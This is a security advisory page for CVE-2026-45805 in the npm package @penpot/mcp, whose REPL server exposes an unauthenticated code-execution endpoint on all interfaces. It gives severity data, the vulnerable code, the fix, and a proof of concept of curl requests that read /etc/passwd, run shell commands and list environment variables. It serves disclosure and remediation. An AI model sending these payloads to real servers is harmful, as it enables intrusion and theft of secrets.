CVE-2026-45805: @penpot/mcp Remote Code Execution Vulnerability

HIGH
Advisory Identifier: GHSA-22qr-rp27-j9wm
CVSS 8.8
CWE-749
Published
Advisory Summary

CVE-2026-45805 is a HIGH (CVSS 8.8) remote code execution vulnerability (CWE-749: Exposed Dangerous Method or Function) affecting @penpot/mcp libraries in the npm ecosystem. The issue involves penpot mcp repl server binds to 0.0.0.0 with unauthenticated /execute endpoint — rce. Remediation is available by upgrading affected packages to version 2.15.0.

CVE-2026-45805 at a Glance

CVE Identifier CVE-2026-45805
GHSA Identifier GHSA-22qr-rp27-j9wm
Severity HIGH
CVSS v3.1 Base Score 8.8
CWE Classification CWE-749: Exposed Dangerous Method or Function
Affected Product @penpot/mcp
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 8.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Adjacent (AV:A)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-45805

To remediate this vulnerability, upgrade all affected @penpot/mcp dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@penpot/mcp fixed: 2.15.0
npm install @penpot/mcp@2.15.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @penpot/mcp

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-45805, inspect your project dependencies using npm:

npm ls @penpot/mcp

Analyze the terminal output to locate any version of @penpot/mcp in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.15.0), your application is affected.

Note: The npm ls @penpot/mcp command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-749: Exposed Dangerous Method or Function, where the product provides an applications programming interface (api) or similar interface for interaction with external actors, but the interface includes a dangerous method or function that is not properly restricted. In @penpot/mcp, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The MCP module's `ReplServer` binds to all interfaces (`0.0.0.0:4403`) and exposes a `/execute` endpoint that runs arbitrary code with zero authentication. Anyone on the network can POST JavaScript and it runs on the server. The main `PenpotMcpServer` was partially fixed for a similar binding issue (#8683), but `ReplServer.ts` was missed. ### Details `mcp/packages/server/src/ReplServer.ts:89`: ```typescript this.server = this.app.listen(this.port, () => { // NO HOST ARGUMENT — Express defaults to 0.0.0.0 ``` Compare with `PenpotMcpServer.ts:301` which correctly binds to `this.host` (default `"localhost"`): ```typescript this.app.listen(this.port, this.host, async () => { ``` The `/execute` endpoint at `ReplServer.ts:52-79`: ```typescript this.app.post("/execute", async (req, res) => { const { code } = req.body; // No auth check. Executes code via PluginBridge.executePluginTask() const task = new ExecuteCodePluginTask({ code }); const result = await this.pluginBridge.executePluginTask(task); ``` No auth middleware, no token check, no nothing. POST JSON with a `code` field and it runs. This was partially flagged in #8683 (March 2026), which noted that `PenpotMcpServer.ts` was binding to `0.0.0.0`. PR #8686 attempted a fix but was closed without merging, and it only touched `PenpotMcpServer.ts` and `vite.config.ts` — `ReplServer.ts` wasn't in the diff. On current develop, `ReplServer.ts` line 89 still calls `listen(this.port)` with no host argument. ### PoC I ran the ReplServer with Express (matching the actual dependency) and tested from localhost and from a Docker container on the same network. ```bash $ node server.js REPL server started on port 4403 Bound to: :::4403 All interfaces: YES ``` **Unauthenticated code execution:** ```bash $ curl -s -X POST http://localhost:4403/execute \ -H "Content-Type: application/json" \ -d '{"code":"require(\"os\").hostname()"}' {"success":true,"result":"kali"} $ curl -s -X POST http://localhost:4403/execute \ -H "Content-Type: application/json" \ -d '{"code":"require(\"fs\").readFileSync(\"/etc/passwd\",\"utf8\").split(\"\\n\").slice(0,3).join(\"\\n\")"}' {"success":true,"result":"root:x:0:0:root:/root:/usr/bin/zsh\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin"} $ curl -s -X POST http://localhost:4403/execute \ -H "Content-Type: application/json" \ -d '{"code":"require(\"child_process\").execSync(\"id\").toString()"}' {"success":true,"result":"uid=1000(kali) gid=1000(kali) groups=1000(kali)...\n"} $ curl -s -X POST http://localhost:4403/execute \ -H "Content-Type: application/json" \ -d '{"code":"JSON.stringify(Object.keys(process.env).slice(0,5))"}' {"success":true,"result":"[\"SHELL\",\"SESSION_MANAGER\",\"WINDOWID\",\"QT_ACCESSIBILITY\",\"COLORTERM\"]"} ``` **Binding verification:** ``` $ ss -tlnp | grep 4403 LISTEN 0 511 *:4403 *:* users:(("node",pid=696955,fd=21)) ``` Listening on `*:4403` — all interfaces. **Remote access from Docker container:** ```bash $ docker exec penpot-backend curl -s http://172.18.0.1:4403/ REPL Server - Penpot MCP (no auth) ``` Reachable from any container on the Docker network. ### Impact Unauthenticated RCE on any machine running the MCP module. Read files, execute commands, dump environment variables (which often contain database credentials, API keys, secrets). The MCP module isn't part of the default Docker deployment, but developers and teams using the MCP integration for AI-assisted design work would run it locally. In shared development environments or CI/CD, the exposed port is reachable from the network. ### Suggested fix Two lines: 1. Add a `host` parameter to the listen call in `ReplServer.ts:89`: ```typescript this.server = this.app.listen(this.port, 'localhost', () => { ``` 2. Add authentication to the `/execute` endpoint. Even a shared secret from an environment variable would be better than nothing.

CVE-2026-45805 Affected @penpot/mcp Versions

1 component(s)
Fixed Versions:
2.15.0
Product / Package Ecosystem Affected Versions Fixed Version
@penpot/mcp
npm
< 2.15.0
2.15.0

References

Frequently Asked Questions

What is CVE-2026-45805?
CVE-2026-45805 is a security vulnerability in @penpot/mcp involving PenPot MCP REPL server binds to 0.0.0.0 with unauthenticated /execute endpoint — RCE under CWE-749: Exposed Dangerous Method or Function.
Which @penpot/mcp versions are affected?
Affected versions include releases prior to 2.15.0 across affected packages: @penpot/mcp.
What version fixes CVE-2026-45805?
Upgrading to 2.15.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @penpot/mcp affected?
Yes, @penpot/mcp is affected in releases prior to 2.15.0. Upgrade your dependency to 2.15.0 or later.
What is the CVSS score of CVE-2026-45805?
CVE-2026-45805 has a CVSS v3.1 base score of 8.8 (HIGH) with vector string CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-45805?
CVE-2026-45805 is classified under CWE-749: Exposed Dangerous Method or Function (The product provides an Applications Programming Interface (API) or similar interface for interaction with external actors, but the interface includes a dangerous method or function that is not properly restricted.).
How can I check npm dependencies for CVE-2026-45805?
Run the dependency tree command: 'npm ls @penpot/mcp'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-22qr-rp27-j9wm",
  "modified" : "2026-05-19T19:57:36Z",
  "published" : "2026-05-19T19:57:36Z",
  "aliases" : [ "CVE-2026-45805" ],
  "summary" : "PenPot MCP REPL server binds to 0.0.0.0 with unauthenticated /execute endpoint — RCE",
  "details" : "### Summary\n\nThe MCP module's `ReplServer` binds to all interfaces (`0.0.0.0:4403`) and exposes a `/execute` endpoint that runs arbitrary code with zero authentication. Anyone on the network can POST JavaScript and it runs on the server. The main `PenpotMcpServer` was partially fixed for a similar binding issue (#8683), but `ReplServer.ts` was missed.\n\n### Details\n\n`mcp/packages/server/src/ReplServer.ts:89`:\n\n```typescript\nthis.server = this.app.listen(this.port, () => {\n    // NO HOST ARGUMENT — Express defaults to 0.0.0.0\n```\n\nCompare with `PenpotMcpServer.ts:301` which correctly binds to `this.host` (default `\"localhost\"`):\n\n```typescript\nthis.app.listen(this.port, this.host, async () => {\n```\n\nThe `/execute` endpoint at `ReplServer.ts:52-79`:\n\n```typescript\nthis.app.post(\"/execute\", async (req, res) => {\n    const { code } = req.body;\n    // No auth check. Executes code via PluginBridge.executePluginTask()\n    const task = new ExecuteCodePluginTask({ code });\n    const result = await this.pluginBridge.executePluginTask(task);\n```\n\nNo auth middleware, no token check, no nothing. POST JSON with a `code` field and it runs.\n\nThis was partially flagged in #8683 (March 2026), which noted that `PenpotMcpServer.ts` was binding to `0.0.0.0`. PR #8686 attempted a fix but was closed without merging, and it only touched `PenpotMcpServer.ts` and `vite.config.ts` — `ReplServer.ts` wasn't in the diff. On current develop, `ReplServer.ts` line 89 still calls `listen(this.port)` with no host argument.\n\n### PoC\n\nI ran the ReplServer with Express (matching the actual dependency) and tested from localhost and from a Docker container on the same network.\n\n```bash\n$ node server.js\nREPL server started on port 4403\nBound to: :::4403\nAll interfaces: YES\n```\n\n**Unauthenticated code execution:**\n\n```bash\n$ curl -s -X POST http://localhost:4403/execute \\\n    -H \"Content-Type: application/json\" \\\n    -d '{\"code\":\"require(\\\"os\\\").hostname()\"}'\n{\"success\":true,\"result\":\"kali\"}\n\n$ curl -s -X POST http://localhost:4403/execute \\\n    -H \"Content-Type: application/json\" \\\n    -d '{\"code\":\"require(\\\"fs\\\").readFileSync(\\\"/etc/passwd\\\",\\\"utf8\\\").split(\\\"\\\\n\\\").slice(0,3).join(\\\"\\\\n\\\")\"}'\n{\"success\":true,\"result\":\"root:x:0:0:root:/root:/usr/bin/zsh\\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\"}\n\n$ curl -s -X POST http://localhost:4403/execute \\\n    -H \"Content-Type: application/json\" \\\n    -d '{\"code\":\"require(\\\"child_process\\\").execSync(\\\"id\\\").toString()\"}'\n{\"success\":true,\"result\":\"uid=1000(kali) gid=1000(kali) groups=1000(kali)...\\n\"}\n\n$ curl -s -X POST http://localhost:4403/execute \\\n    -H \"Content-Type: application/json\" \\\n    -d '{\"code\":\"JSON.stringify(Object.keys(process.env).slice(0,5))\"}'\n{\"success\":true,\"result\":\"[\\\"SHELL\\\",\\\"SESSION_MANAGER\\\",\\\"WINDOWID\\\",\\\"QT_ACCESSIBILITY\\\",\\\"COLORTERM\\\"]\"}\n```\n\n**Binding verification:**\n\n```\n$ ss -tlnp | grep 4403\nLISTEN  0  511  *:4403  *:*  users:((\"node\",pid=696955,fd=21))\n```\n\nListening on `*:4403` — all interfaces.\n\n**Remote access from Docker container:**\n\n```bash\n$ docker exec penpot-backend curl -s http://172.18.0.1:4403/\nREPL Server - Penpot MCP (no auth)\n```\n\nReachable from any container on the Docker network.\n\n### Impact\n\nUnauthenticated RCE on any machine running the MCP module. Read files, execute commands, dump environment variables (which often contain database credentials, API keys, secrets). The MCP module isn't part of the default Docker deployment, but developers and teams using the MCP integration for AI-assisted design work would run it locally. In shared development environments or CI/CD, the exposed port is reachable from the network.\n\n### Suggested fix\n\nTwo lines:\n\n1. Add a `host` parameter to the listen call in `ReplServer.ts:89`:\n```typescript\nthis.server = this.app.listen(this.port, 'localhost', () => {\n```\n\n2. Add authentication to the `/execute` endpoint. Even a shared secret from an environment variable would be better than nothing.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@penpot/mcp"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.15.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/penpot/penpot/security/advisories/GHSA-22qr-rp27-j9wm"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/penpot/penpot"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-749" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-19T19:57:36Z",
    "nvd_published_at" : null
  }
}